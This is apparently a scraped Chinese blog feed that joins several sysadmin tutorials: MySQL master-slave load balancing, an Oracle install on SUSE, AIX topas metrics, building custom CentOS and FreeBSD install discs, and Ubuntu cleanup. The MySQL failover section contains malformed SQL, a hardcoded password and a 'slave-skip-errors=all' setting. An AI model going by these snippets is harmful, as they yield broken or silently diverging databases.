　　@mysql_select_db(“repl_db”) or die(“Sorry, Could not select database!”);

　　?>

　　(2). 优化程序SQL语句代码

　　对应用程序中访问数据库的代码段做出如下优化：

　　…

　　// $sql is the query string to be committed to MySQL server.

　　if ( stripos( $sql, ” SELECT” ) )

　　{

　　include_once(“./mysql_connect_slave.php”);

　　…

　　mysql_close();

　　}

　　else

　　{

　　include_once(“./mysql_connect_master.php”);

　　…

　　mysql_close();

　　}

　　…

　　?>

　　说明：每当向MySQL服务器提交数据库操作时，加入一个if-else判断语句对变量$sql进行判断定向，如果是SELECT查询操作，将其定向到从属服务器Slave中的一个;如果是其它更新语句，则将其定向到主服务器Master。此处代码段是应用系统实现负载均衡的关键，用户务必根据自己实际情况，写出准确无误的代码。每次对数据库操作完毕都要及时释放数据库连接，以免更新、查询操作分别定向失败，影响系统负载均衡功能。这样做虽然在一定程度上增加Web服务器或应用服务器的开销，但与MySQL服务器集群负载均衡功能带来的大幅性能提升及冗余容错特性相比，这个开销绝对是物超所值!

　　3.4 注意事项

　　正确部署实现具有负载均衡功能的MySQL服务器集群必须注意以下事项：

　　(1). MySQL数据库复制(replication)特性是核心

　　此处的复制不是简单的copy，从属服务器启动两个线程(thread)：I/O线程和SQL线程，I/O线程接收主服务器对参与复制数据库的更新操作事件(event)，并记入自己的中继二进制更新日志文件(hostname-relay-bin.00000n)，由SQL线程将更新操作写入自己的数据库表项。主从服务器之间复制的不是具体的数据内容，而是具体的以二进制格式记录的操作事件，因而在一定程度上实现主从服务器之间的数据同步。(这种复制类似于生物学意义上的按基因复制，在英语中replication的主要词义就是指该种复制。)

　　(2). 复制的复杂性

　　主从数据库服务器间的replication要求Master与Slave上的MySQL版本最好一致，主从服务器必须设置相同的字符集，否则很容易造成复制失败。主服务器上更新权限表内容的FLUSH语句不会被复制[8]。

　　(3). 按照范式化要求设计数据库

　　生产环境下基于MySQL服务器的应用系统要想稳定运行，按范式化设计系统数据库是基本要求，具体内容可参考相关书籍。

　　(4). 打开数据库服务器的远程用户连接功能

　　打开主从服务器的远程用户连接是实现更新、查询操作分别定向的必要条件，否则，来自应用服务器的连接请求失败，影响系统应用正常运行。

　　(5). 负载均衡功能的实现需要良好的团队合作

　　BIND DNS服务器实现了从属服务器Slave之间的负载均衡，Slave和Master之间的负载均衡则由应用系统开发人员在程序代码级实现。整个系统的性能提升和冗余容错需要网络管理和应用系统开发团队之间的良好合作，否则负载均衡功能的实现就会失败。

4. 常见问题

　　(1). 如何估算MySQL服务器集群的性能提升量?

　　针对本文采用的结构模式，可对应用系统整体性能提升做出大致估算。假设应用系统写操作占10%，读操作占90%，写操作耗时是读操作的2倍，系统的吞吐量(throughput)为T(用reads/s读操作次数/秒来衡量)。把写操作线性转换为读操作，则有：

　　T= 2Xwrites + 9Xwrites ==>writes=T/11① (不采用主从复制模式，读写操作集中到一个服务器上)

　　T= 2Xwrites + 9Xwrites/N ==> writes=T/(2+9/N)② (采用一对多的主从复制模式，读操作在从属服务器，写操作在主服务器)

　　其中，writes为系统单位时间内所能承受的最大写操作次数，N为从属服务器个数，N大于等于2。在不采用主从复制模式时，系统性能 writes=T/11;采用本文一对三的复制模式时，系统性能writes=T/5。采用负载均衡模式与不采用系统性能之比为11：5，即2.2：1，考虑到应用服务器的额外开销，系统整体性能提升了整整1倍!从②式可以看出，系统整体性能理论极限为T/2，当然在实际生产环境中不可能达到。具体部署时用户可以根据自己的实际情况估算出合理的从属服务器数量，主要影响因素是网络带宽和机器整体性能[9]。

　　(2). 如何应对主从服务器崩溃?

　　当某台从属服务器崩溃时，修复故障重启后重新连接到主服务器，根据其master.info文件更新其数据，保持与主服务器的数据同步。如果主服务器崩溃，在某一从属服务器上执行STOP SLAVES; GRANT REPLICATION SLAVE ON *.* repl_db TO ‘repl’@’%’ IDENTIFIED BY ‘g00r002b’;RESET MASTER;这三个SQL语句，由于从属服务器已启动了二进制更新日志功能，因此具备了角色转换的必要条件。更改其主机名、IP地址及server- id与Master一样，重启MySQL服务器，系统开始正常对外提供服务。其它两台从属服务器则不需执行任何操作，继续执行replication过程。BIND DNS服务器和应用程序也不需做任何调整，继续对系统用户提供不间断服务。主服务器排除故障恢复正常后，将其网络配置改为与现有Master转换角色之前一样的配置，重启MySQL服务，将其角色转换为从属服务器。也就是说，整个集群机器的角色可以相互循环转换，提高系统的冗余性和可靠性。在此需要注意的是，在应用系统调试运行正常之后，在Slave角色服务器的/etc/my.cnf文件[mysqld]段加入slave-skip- errors=all，保证集群之间复制(replication)的正常运行。

　　5. 结束语

　　部署与实现具有负载均衡功能的MySQL服务器集群是一项复杂的系统工程，需要多方面良好的协同合作才能做好。服务器的搭建配置、BIND DNS服务器的配置部署，以及应用系统程序的开发都要紧紧围绕实现MySQL服务器集群负载均衡功能这个目标。必须对主服务器的运行状态进行动态监控，如果发生故障，立即执行角色转换过程，确保为终端用户提供可靠、不间断的服务。可以针对具体系统环境写出监控脚本或程序，确保系统的可靠性与稳定性。

所需软件： SUSE Linux10 for x86 Oracle database 10gR2 for linux32 Orarun-1.8-109.15.i586.rpm软件包，可以从http://ftp.novell.com/partners/oracle/sels-9下载

安装步骤： 1、安装SUSE 安装SUSE一定确保安装“C/C++Compiler and Tools”软件包。 # gcc –version 查看是否安装该软件包

2、安装所需软件包 安装orarun软件包 #rpm –ivh orarun-1.8-109.15.i586.rpm 安装libaio和libaio-devel软件包，这两个软件包可以在SUSE Linux DISK4中找到 #rpm –ivh orarun-1.8-109.15.i586.rpm #rpm –ivh libaio-devel-0.3.104-3.i586.rpm

3、Oracle用户设置 当orarun软件包安装时，会自动建立名为oracle的用户，和一个oinstall组。我们只需要将该用户设置为enable，把shell从/bin/false改为/binbash。而且orarun软件包将ORACLE_HOME文件夹自动生成，减少了很多麻烦。 4、设置Oracle环境变量 修改/ect/profile.d/oracle.sh文件,ORACLE_HOME、ORACLE_SID等环境变量可以根据需要自行修改。 例如： ORACLE_HOME=$ORACLE_BASE/product/10gR2 ORACLE_SID=ORCL 其中默认NLS_LANG＝AMERICAN，如果在中文OS下安装界面会产生乱码。建议在英文环境下安装。 5、安装Oracle10gR2 注销root用户，以oracle用户重新登录到KDE。注意不要在root用户下使用su – oracle来切换到oracle用户进行安装，那样系统图形界面不能启动。 运行./runInstaller –ignoresysprereqs 开始安装Oracle, –ignoresysprereqs忽略对操作系统的认证，Oracle10g默认不能安装在SUSE Linux10上。当然也可以将安装文件拷贝到硬盘，修改database/install/oraparam.ini文件，将其中添加SuSE-10，这样可以不使用–ignoresysprereqs参数。 下面在图形界面就可以一路顺利安装，安装时没有发现任何错误。 企业管理器地址为http://localhost:1158/em在这里可以设置数据库。

感觉在SUSE Linux10上安装Oracle非常方便，不用过多的设置各种参数。而且SUSE Linux10界面也非常漂亮,大家有兴趣可以试一下。

事件／队列 显示所选系统全局事件的每秒频率、线程运行和等待队列的平均大小： Cswitch 在监视时间间隔内每秒上下文切换的数量。 Syscalls 在监视时间间隔内每秒执行的系统调用的数量。 读 在监视时间间隔内每秒执行的 read 系统调用的数量。 写 在监视时间间隔内每秒执行的 write 系统调用的数量。 派生 在监视时间间隔内每秒执行的 fork 系统调用的数量。 执行 在监视时间间隔内每秒执行的 exec 系统调用的数量。 运行队列 准备运行但需要等待处理器可用的平均线程数目。 等待队列 正在等待页面调度完成的平均线程数目。 文件/TTY 显示所选文件与 tty 统计信息的每秒频率。 Readch 在监视时间间隔内 read 系统调用每秒读的字节数。 Writech 在监视时间间隔内 write 系统调用每秒写的字节数。 Rawin 在监视时间间隔内从 TTY 中每秒读取的原始字节数。 Ttyout 在监视时间间隔内每秒写入 TTY 中的字节数。 Igets 在监视时间间隔内每秒调用信息节点查找例程的数量。 Namei 在监视时间间隔内每秒调用路径名查找例程的数量。 Dirblk 在监视时间间隔内被目录搜索例程每秒扫描的目录块数目。 页面调度 显示页面调度统计信息的每秒频率。 错误 在监视时间间隔内每秒页面出错的数量。这包括不能激活页面调度的页面故障。 占用 在监视时间间隔内每秒钟有物理内存 4K 帧被虚拟内存管理器占用。 PgspIn 在监视时间间隔内每秒钟从调页空间读取 4K 页面的数量。 PgspOut 在监视时间间隔内每秒钟把 4K 页面写入调页空间的数量。 PageIn 在监视时间间隔内每秒钟读取 4K 页面的数量。这包括与从文件系统读取有关的页面调度活动。从这个值中减去 PgspIn 就可得到在监视时间间隔内每秒钟从文件系统读取的 4K 页面的数量。 PageOut 在监视时间间隔内每秒钟写 4K 页面的数量。这包括与写入文件系统有关的页面调度活动。从这个值中减去 PgspOut 就可得到在监视时间间隔内每秒钟写入文件系统的 4K 页面的数量。 Sios 在监视时间间隔内虚拟内存管理器每秒钟发出的 I/O 请求的数目。 内存 显示实际内存大小与内存使用的分布情况。 实际，MB 以 MB 为单位的实际内存大小。 % Comp 当前分配给计算页面帧的实际内存的百分数。计算页面帧通常是那些被调页空间支持的帧。 % Noncomp 当前分配给非计算页面帧的实际内存的百分数。非计算页面帧通常是那些被文件空间（可以是数据文件、可执行文件或共享库文件）支持的帧。 % Client 当前被分配用来高速缓存远程安装的文件的实际内存的百分数。 调页空间 显示调页空间的大小及利用情况。 大小，MB 系统上所有调页空间的总和，以 MB 为单位。 % [...]]]> 求教：AIX下的topas命令显示输出的参数内容都是代表什么含义
第二个固定部分占用了显示器的最右端的 25 个位置。它包含如下统计信息的 5 个分部：

事件／队列 显示所选系统全局事件的每秒频率、线程运行和等待队列的平均大小：
Cswitch
在监视时间间隔内每秒上下文切换的数量。
Syscalls
在监视时间间隔内每秒执行的系统调用的数量。
读
在监视时间间隔内每秒执行的 read 系统调用的数量。
写
在监视时间间隔内每秒执行的 write 系统调用的数量。
派生
在监视时间间隔内每秒执行的 fork 系统调用的数量。
执行
在监视时间间隔内每秒执行的 exec 系统调用的数量。
运行队列
准备运行但需要等待处理器可用的平均线程数目。
等待队列
正在等待页面调度完成的平均线程数目。
文件/TTY 显示所选文件与 tty 统计信息的每秒频率。
Readch
在监视时间间隔内 read 系统调用每秒读的字节数。
Writech
在监视时间间隔内 write 系统调用每秒写的字节数。
Rawin
在监视时间间隔内从 TTY 中每秒读取的原始字节数。
Ttyout
在监视时间间隔内每秒写入 TTY 中的字节数。
Igets
在监视时间间隔内每秒调用信息节点查找例程的数量。
Namei
在监视时间间隔内每秒调用路径名查找例程的数量。
Dirblk
在监视时间间隔内被目录搜索例程每秒扫描的目录块数目。
页面调度 显示页面调度统计信息的每秒频率。
错误
在监视时间间隔内每秒页面出错的数量。这包括不能激活页面调度的页面故障。
占用
在监视时间间隔内每秒钟有物理内存 4K 帧被虚拟内存管理器占用。
PgspIn
在监视时间间隔内每秒钟从调页空间读取 4K 页面的数量。
PgspOut
在监视时间间隔内每秒钟把 4K 页面写入调页空间的数量。
PageIn
在监视时间间隔内每秒钟读取 4K 页面的数量。这包括与从文件系统读取有关的页面调度活动。从这个值中减去 PgspIn 就可得到在监视时间间隔内每秒钟从文件系统读取的 4K 页面的数量。
PageOut
在监视时间间隔内每秒钟写 4K 页面的数量。这包括与写入文件系统有关的页面调度活动。从这个值中减去 PgspOut 就可得到在监视时间间隔内每秒钟写入文件系统的 4K 页面的数量。
Sios
在监视时间间隔内虚拟内存管理器每秒钟发出的 I/O 请求的数目。
内存 显示实际内存大小与内存使用的分布情况。
实际，MB

以 MB 为单位的实际内存大小。
% Comp
当前分配给计算页面帧的实际内存的百分数。计算页面帧通常是那些被调页空间支持的帧。
% Noncomp
当前分配给非计算页面帧的实际内存的百分数。非计算页面帧通常是那些被文件空间（可以是数据文件、可执行文件或共享库文件）支持的帧。
% Client
当前被分配用来高速缓存远程安装的文件的实际内存的百分数。
调页空间 显示调页空间的大小及利用情况。
大小，MB
系统上所有调页空间的总和，以 MB 为单位。
% 已用的
当前在使用的调页空间占所有的百分数。
% 未用的
当前未使用的调页空间占所有的百分数。
NFS 显示每秒调用的 NFS 状态
服务器 V2 calls/sec
客户机 V2 calls/sec
服务器 V3 calls/sec
客户机 V3 calls/sec

topas 显示的变量部分可有一、二、三、四或五个分部。如果有多个分部显示，则总是按照下列顺序显示：

CPU
网络接口
物理磁盘
工作量管理类
进程
当 topas 命令启动时，会显示热门实体被监视的所有分部。一个例外就是工作量管理（WLM）类分部，仅当 WLM 活动时才显示该分部。

CPU 使用情况 这个分部显示一个条形图表来表示累积的 CPU 使用情况。如果有多个 CPU，按 c 键两次就可显示 CPU 列表。仅按 c 键一次会关闭这个分部。下列字段通过两种格式显示：

User%
这显示以用户方式执行的程序所使用的 CPU 的百分数。（缺省按用户% 排序）
Kern%
这显示以内核方式执行的程序所使用的 CPU 的百分数。
Wait%
这显示用于等待 IO 的时间的百分数。
Idle%
这表示 CPU 空闲时间的百分数。
当这个分部首先显示热门 CPU 列表时，就按 User% 字段来对列表排序。但是，可以按其它字段来对列表排序，只要把光标移到想要的那一栏顶部就可以了。

网络接口 此分部显示了热门网络接口的列表。所显示接口的最大数目是正被监视的热门接口数目，正如 -n 标志指定的那样。如果其它分部也被显示，则将显示接口的一个较小数目。按 n 键可关闭此分部。再按一次 n 键就会显示一行所有网络接口活动的报告摘要。两个报告都显示下列字段：

Interf
网络接口的名称。
KBPS
在监视时间间隔内每秒钟以 MB 为单位的总吞吐量。这个字段是每秒接收到的千字节和发送的千字节的总和。
I-Pack
在监视时间间隔内每秒钟接收到的数据包的数目。
O-Pack
在监视时间间隔内每秒钟发送的数据包的数目。
KB-In
在监视时间间隔内每秒钟接收到的千字节的数目。
KB-Out
在监视时间间隔内每秒钟发送的千字节的数目。
当此分部首先显示热门网络接口列表时，按 KBPS 字段对列表排序。但是，可以按其它字段对列表排序，只要把光标移到想要的那一栏顶部就可以了。排序仅对最多 16 个网络适配器有效。

物理磁盘 此分部显示了热门物理磁盘的列表。所显示物理磁盘的最大数目是正被监视的热门物理磁盘数目，正如 -d 标志指定的那样。如果其它分部也被显示，则将显示物理磁盘的一个较小数目。按 d 键可关闭这个分部。再按一次 d 键就会显示一行所有物理磁盘活动的报告摘要。两个报告都显示下列字段：
Disk
物理磁盘的名称。
Busy%
表示物理磁盘活动时间的百分比（驱动器带宽使用）。
KBPS
在监视时间间隔内每秒钟读和写的千字节的数目。此字段是 KB-Read 和 KB-Writ 的总和。
TPS
每秒钟发送到物理磁盘的传输的数目。传输是对物理磁盘的 I/O 请求。多个逻辑请求可组合成对磁盘的单个 I/O 请求。传输大小不确定。
KB-Read
每秒钟从物理磁盘读取的千字节的数目。
KB-Writ
每秒钟写到物理磁盘的千字节的数目。
当此分部首先显示热门物理磁盘列表时，按 KBPS 字段对列表排序。但是，可以按其它字段对列表排序，只要把光标移到想要的那一栏顶部就可以了。排序仅对最多 128 个物理磁盘有效。

WLM 类 此分部显示了热门工作量管理（WLM）类的列表。所显示 WLM 类的最大数目是正被监视的热门 WLM 类数目，正如 -w 标志指定的那样。如果其它分部也被显示，则将显示 WLM 类的一个较小数目。按 w 键可关闭此分部。对于每一个类会显示下列字段：

% CPU 使用情况
在监视时间间隔内 WLM 类的平均 CPU 使用情况。
% Mem 使用情况
在监视时间间隔内 WLM 类的平均内存使用情况。
% Blk I/O
在监视时间间隔内 WLM 类的块 I/O 的平均百分比。
当这个分部首先显示热门 WLM 类列表时，就按 CPU% 字段来对列表排序。但是，可以按其它字段来对列表排序，只要把光标移到想要的那一栏顶部就可以了。

进程 此分部显示了热门进程的列表。所显示进程的最大数目是正被监视的热门过程数目，正如 -p 标志指定的那样。如果其它分部也被显示，则将显示进程的一个较小数目。按 p 键可关闭此分部。按监视时间间隔内进程的 CPU 使用情况来对进程排序。对于每一进程会显示下列字段：
名称
在进程中执行的可执行程序的名称。名称已被除去任何路径名和参数信息并被截断到 9 个字符的长度。
进程标识
进程的进程标识。
% CPU 使用情况
在监视时间间隔内进程的平均 CPU 使用情况。第一次显示进程时，这个值表示整个进程阶段平均 CPU 使用情况。
已用调页空间
分配给此进程的调页空间的大小。这可被认为是进程覆盖区的一种表达式，但并不包括用来保持可执行程序和它依赖的任何共享库的内存。
进程所有者（如果 WLM 部分被关闭）
拥有此进程的用户的用户名。
工作量管理（WLM）类（如果 WLM 部分被打开）
进程所属的 WLM 类。

注：其中路径/data/disk是我的制作光盘路径，各位可以根据自己的环境进行修改。

=======================================================

基本过程:

定制RPM包 修改 comps.xml 重编comps.rpm 重新生成hdlist 建立pkglist 利用buildinstall处理安装程序 利用mkisofs制作安装映象

———————————————— 母系统是centos4.3，为了软件最新，先升级自己的系统相关软件 rpm –import http://mirror.be10.com/centos/4.3/os/i386/RPM-GPG-KEY-centos4 rpm –import /usr/share/doc/centos-release-4/RPM-GPG-KEY >> /dev/null yum -y update

以下为制作安装光盘必须的包 yum install pump-devel gtk2-devel booty bogl-devel bogl-bterm elfutils-devel beecrypt-devel dietlibc yum install anaconda anaconda-runtime busybox-anaconda

============================================================================= Package Arch Version [...]]]> 以前研究的东西，最近看到网上有很多人为了制作自己的发行版，苦苦挣扎而不得其道，所以把自己的笔记拿出来与大家一起分享！

注：其中路径/data/disk是我的制作光盘路径，各位可以根据自己的环境进行修改。

=======================================================

基本过程:

定制RPM包
修改 comps.xml
重编comps.rpm
重新生成hdlist
建立pkglist
利用buildinstall处理安装程序
利用mkisofs制作安装映象

————————————————
母系统是centos4.3，为了软件最新，先升级自己的系统相关软件
rpm –import http://mirror.be10.com/centos/4.3/os/i386/RPM-GPG-KEY-centos4
rpm –import /usr/share/doc/centos-release-4/RPM-GPG-KEY >> /dev/null
yum -y update

以下为制作安装光盘必须的包
yum install pump-devel gtk2-devel booty bogl-devel bogl-bterm elfutils-devel beecrypt-devel dietlibc
yum install anaconda anaconda-runtime busybox-anaconda

=============================================================================
Package Arch Version Repository Size
=============================================================================
Installing:
anaconda i386 10.1.1.37-1.centos4.2 base 4.3 M
anaconda-runtime i386 10.1.1.37-1.centos4.2 base 526 k
busybox-anaconda i386 1.00.rc1-5 base 177 k
Installing for dependencies:
anaconda-help noarch 10.1.0-1.centos4 base 800 k
bogl i386 0.1.18-4 base 93 k
booty i386 0.44.3-1 base 85 k
pyparted i386 1.6.8-2 base 22 k

检查RPM包依赖关系
cd /data/disk/EServer/RPMS
mkdir /tmp/testdb
rpm –initdb –dbpath /tmp/testdb
rpm –test –dbpath /tmp/testdb -Uvh *.rpm

以下是具体步骤：
1.设置python的系统环境变量
export PYTHONPATH=/usr/lib/anaconda
export PATH=”$PATH:/usr/lib/anaconda-runtime”

2.更新光盘的文件树
genhdlist –productpath=EServer /data/disk

3.生成下一步需要的pkgfile文件
pkgorder –product EServer /data/disk/ EServer > /data/pkgfile

4.编译生成光盘引导文件和图形安装界面镜像
buildinstall –pkgorder /data/pkgfile \
–version “1.2″ \
–product “EServer” \
–release “Beta” \
–prodpath EServer /data/disk

5.制作 ISO

mkisofs -r -T -J -V “EServer 1.2″ -b isolinux/isolinux.bin \
-c isolinux/boot.cat -no-emul-boot -boot-load-size 4 \
-boot-info-table -x “lost+found” \
-o /data/EServer.iso /data/disk

文件isolinux/boot.cat 会由mkisofs 程序随后产生
—————————————————-

为光盘生成md5验证值
implantisomd5 /data/EServer.iso
Inserting md5sum into iso image…
md5 = b49c693f83c23d7e746dfe0f81a56016
Setting supported flag to 0

如果想将图形界面修改成个性化的界面，需要修改stage2.img（光盘引导镜像，如果硬盘安装，需要修改其他img文件……）

附注:
anaconda资源修改：

mkdir /data/anaconda
mount -o loop /data/disk/EServer/base/stage2.img /data/anaconda
cd /data/anaconda
tar -cvf /data/stage2.tar .
mkdir /data/stage2
cd /data/stage2
tar -xvf /data/stage2.tar
chmod +w -R ../stage2
#———–修改资源—————–#
…..
….
#重新打包img镜像
cd /data
mkcramfs stage2/ stage2.img.new
cp /data/stage2.img.new /data/disk/EServer/base/stage2.img

光盘启动画面修改：

yum -y install syslinux

The graphic is in a somewhat odd format, called LSS16. As the name indicates, it is limited to 16 colors. To edit the graphic, first convert it to a PPM:

lss16toppm < splash.lss > splash.ppm

Next, edit the file using The Gimp. Save the resulting file as an indexed gif with no more than 14 colors (plus black and white, for a total of 16). Then, convert the file to a pnm/ppm:

giftopnm < splash.gif | ppmtolss16 > splash.lss
cp splash.lss /data/disk/isolinux/splash.lss

yum install gcc xorg-x11-devel
编译gif2lss-0.4.tar.gz

保证光盘里面rpm目录下有以下包，这些包是图形化界面制作所必须的，没有他们，buildinstall将会报错。

anaconda
anaconda-runtime
anaconda-help
anaconda-product
busybox
busybox-anaconda
memtest86+
fonts-xorg-base
xorg-x11
joe
kernel*

附注：
rpm -qpi #显示rpm包的信息
rpm -Uvh #安装rpm包
rpm -qpl #列rpm包内的文件

上面这些步骤，是经过实践之后的笔记，所以一般都能够成功，还有一些细节部分，如comps.xml的修改，语法，就不多介绍。

如果发现有什么问题，欢迎跟帖。

在VMware下安装FreeBSD，标准化最小安装，安装包： sysutils/dvd+rw-tools（其中包含mkisofs、growisofs），其它工具（tar,mount,mdconfig）系统自带。 将FreeBSD7的几个ISO文件cp进vmware，如：/work/fbd7目录，开始命令: su cd /work/fbd7 mdconfig -a -f 7.0-RELEASE-i386-docs.iso mount -t cd9660 /dev/md0 /mnt tar -C /mnt -cf – . | tar -xf – umount /mnt mdconfig -d -u 0

mdconfig -a -f 7.0-RELEASE-i386-disk3.iso mount -t cd9660 /dev/md0 /mnt tar -C /mnt -cf – . | tar -xf – umount /mnt mdconfig -d -u 0

mdconfig -a -f 7.0-RELEASE-i386-disk2.iso mount -t cd9660 /dev/md0 /mnt tar -C /mnt [...]]]> 发现网上流传的Windows下的制作FreeBSD DVD安装盘都不正确，原因很简单，光盘中packages/子目录中的软件包都失去了指向../All/*的链接，只好试着在FreeBSD下作了一张，可行，搞定，现记录过程如下：

在VMware下安装FreeBSD，标准化最小安装，安装包：
sysutils/dvd+rw-tools（其中包含mkisofs、growisofs），其它工具（tar,mount,mdconfig）系统自带。
将FreeBSD7的几个ISO文件cp进vmware，如：/work/fbd7目录，开始命令:
su
cd /work/fbd7
mdconfig -a -f 7.0-RELEASE-i386-docs.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0

mdconfig -a -f 7.0-RELEASE-i386-disk3.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0

mdconfig -a -f 7.0-RELEASE-i386-disk2.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0

mdconfig -a -f 7.0-RELEASE-i386-disk1.iso
mount -t cd9660 /dev/md0 /mnt
tar -C /mnt -cf – . | tar -xf –
umount /mnt
mdconfig -d -u 0
———————————
检查/work/fbd7/cdrom.inf
如按以上顺序，cdrom.inf中应为：
CD_VERSION = 7.0-RELEASE
CD_VOLUME = 1
———————————

cd packages
cat INDEX | sed “s/|3/|1/g” > ix
cat ix | sed “s/|2/|1/g” > ixx
mv ixx INDEX
rm ix
cd ..
rm -r /work/fbd7/rr_moved（这是docs光盘的目录，这里不需要，生成ISO时会自动生成）
将原来的几个iso移到其它目录
mkdir /work/iso
mv /work/fbd7/*.iso /work/iso

生成DVD ISO文件：
mkisofs -R -no-emul-boot -b boot/cdboot -iso-level 3 -o /work/FreeBSD7_DVD.iso /work/fbd7
或 直接刻录成DVD：
growisofs –Z /dev/cd0 –speed 16 –no-amul-boot –b boot/cdboot –iso-level 3 /work/fbd7

OK，完成。检查制作出的DVD，经测试：链接正常，sysinstall可认，其它各种应用正常。

linux和windows系统不同，linux不会产生无用垃圾文件，但是在升级缓存中，linux不会自动删除这些文件，今天就来说说这些垃圾文件清理方法。

1，非常有用的清理命令： sudo apt-get autoclean sudo apt-get clean sudo apt-get autoremove

这三个命令主要清理升级缓存以及无用包的。

2，清理opera firefox的缓存文件： ls ~/.opera/cache4 ls ~/.mozilla/firefox/*.default/Cache

3，清理Linux下孤立的包： 图形界面下我们可以用：gtkorphan sudo apt-get install gtkorphan -y

终端命令下我们可以用：deborphan sudo apt-get install deborphan -y

4，卸载：tracker 这个东西一般我只要安装ubuntu就会第一删掉tracker 他不仅会产生大量的cache文件而且还会影响开机速度。所以在新得利里面删掉就行。

5，删除多余的内核：一定不要删错哦，切记！！ 打开终端敲命令：dpkg –get-selections|grep linux 有image的就是内核文件 删除老的内核文件： sudo apt-get remove 内核文件名 （例如：linux-image-2.6.27-2-generic） 内核删除，释放空间了，应该能释放130－140M空间。 最后不要忘了看看当前内核：uname -a 附录： 包管理的临时文件目录: 包在 /var/cache/apt/archives 没有下载完的在 /var/cache/apt/archives/partial ＝＝＝＝＝＝＝＝＝＝＝进阶＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ 1. 用新利得删除残留的配置文件 经常安装和卸载软件用户都知道只用 apt-get remove 是不能把软件彻底清除的,所以养成良好的习惯很重要,我一般都是认为那些以后不会再安装的软件都用 aptitude purge/apt-get remove — purge 来卸载,这样就会把配置文档也一起删除,如果不知道以前卸载的那些配置文档删除有没有怎么办!? 没关系”凡存在过的必留下痕迹”(keso语^_^),我们来一步一步删除那些残留文档: 打开新利得(系统-系统管理-新利得),在左下角选择状态,现在在上面的列表里就会看到如下的分类: 已安装 已安装(本地的或陈旧的) 未安装 未安装的(残存配置) 软件仓库里的新内容 现在选择未安装的(残存配置)如果没有这个选择那就证明你的系统并没有残存配置文件. 现在把右面列表里不想保留的配置文件删除就可以.

2. 删除系统无用的软件包 当你需要安装某个软件包时,APT从/etc/apt/sources.list中所列的主机下载所 需的文件,将它们保存到本机软件库(/var/cache/apt/archives/)， 然后开始安装. 本地软件库会不断膨胀占用大量硬盘空间,幸运的是,APT提供了工具来管理本地 软件库:apt-get的clean方法和autoclean方法. apt-get clean将删除/var/cache/apt/archives目录 和/var/cache/apt/archives/partial目录下锁文件以外的所有文件. 这样以来,当你需要再次安装某个软件包时,APT将重新下载它. apt-get autoclean仅删除那些不需要再次下载的文件.

3. 卸载那些不被使用的local翻译文档 这次我们要用到一个工具啦:localepurge 看名字就能明白他是干什么的啦. 安装localepurge: sudo apt-get install localepurge 安装好以后,当我们每次使用apt安装软件的时候localepurge就会根据你locale的设置来删除那些不需要的locale文档,比如:当我aapt安装armarok以后就会在安装完成之后看到像: localepurge: [...]]]> 这段时间,使用ubuntu9.04 时,总听到硬盘在晌.在终端下运行 df -k 发觉/分区的空间使用率已经到98%,是要想办法给ubuntu减减肥.腾点空间出来啦..于是,就在网上,找到下面这篇文章,照着用一下,效果蛮好的…于是就将这篇文章记下来..

linux和windows系统不同，linux不会产生无用垃圾文件，但是在升级缓存中，linux不会自动删除这些文件，今天就来说说这些垃圾文件清理方法。

1，非常有用的清理命令：
sudo apt-get autoclean
sudo apt-get clean
sudo apt-get autoremove

这三个命令主要清理升级缓存以及无用包的。

2，清理opera firefox的缓存文件：
ls ~/.opera/cache4
ls ~/.mozilla/firefox/*.default/Cache

3，清理Linux下孤立的包：
图形界面下我们可以用：gtkorphan
sudo apt-get install gtkorphan -y

终端命令下我们可以用：deborphan
sudo apt-get install deborphan -y

4，卸载：tracker
这个东西一般我只要安装ubuntu就会第一删掉tracker 他不仅会产生大量的cache文件而且还会影响开机速度。所以在新得利里面删掉就行。

5，删除多余的内核：一定不要删错哦，切记！！
打开终端敲命令：dpkg –get-selections|grep linux
有image的就是内核文件
删除老的内核文件：
sudo apt-get remove 内核文件名 （例如：linux-image-2.6.27-2-generic）
内核删除，释放空间了，应该能释放130－140M空间。
最后不要忘了看看当前内核：uname -a

附录：
包管理的临时文件目录:
包在
/var/cache/apt/archives
没有下载完的在
/var/cache/apt/archives/partial

＝＝＝＝＝＝＝＝＝＝＝进阶＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
1. 用新利得删除残留的配置文件
经常安装和卸载软件用户都知道只用 apt-get remove 是不能把软件彻底清除的,所以养成良好的习惯很重要,我一般都是认为那些以后不会再安装的软件都用 aptitude purge/apt-get remove — purge 来卸载,这样就会把配置文档也一起删除,如果不知道以前卸载的那些配置文档删除有没有怎么办!?
没关系”凡存在过的必留下痕迹”(keso语^_^),我们来一步一步删除那些残留文档:
打开新利得(系统-系统管理-新利得),在左下角选择状态,现在在上面的列表里就会看到如下的分类:
已安装
已安装(本地的或陈旧的)
未安装
未安装的(残存配置)
软件仓库里的新内容
现在选择未安装的(残存配置)如果没有这个选择那就证明你的系统并没有残存配置文件.
现在把右面列表里不想保留的配置文件删除就可以.

2. 删除系统无用的软件包
当你需要安装某个软件包时,APT从/etc/apt/sources.list中所列的主机下载所 需的文件,将它们保存到本机软件库(/var/cache/apt/archives/)， 然后开始安装.
本地软件库会不断膨胀占用大量硬盘空间,幸运的是,APT提供了工具来管理本地 软件库:apt-get的clean方法和autoclean方法.
apt-get clean将删除/var/cache/apt/archives目录 和/var/cache/apt/archives/partial目录下锁文件以外的所有文件. 这样以来,当你需要再次安装某个软件包时,APT将重新下载它.
apt-get autoclean仅删除那些不需要再次下载的文件.

3. 卸载那些不被使用的local翻译文档
这次我们要用到一个工具啦:localepurge 看名字就能明白他是干什么的啦.
安装localepurge: sudo apt-get install localepurge
安装好以后,当我们每次使用apt安装软件的时候localepurge就会根据你locale的设置来删除那些不需要的locale文档,比如:当我aapt安装armarok以后就会在安装完成之后看到像:
localepurge: Disk space freed in /usr/share/locale: 70***K (7M左右的文档,具体的数据忘)
当然你也可以通过编辑/etc/locale.nopurge 来编辑需要保留的locale文档..

4. 使用一些工具删除”孤儿软件包”
孤儿软件包是指那些已经没有人维护的软件包当然也就没有软件要依赖它,这儿我们可以用GtkOrphan(要自己下载Deb包安装)或者Wajig(可以apt安装),这两个都是GUI的操作界面,我都没有使用过就不多说了,如果想了解更多的信息可以参考这儿 .

5. 使用debfoster来跟踪安装的软件包
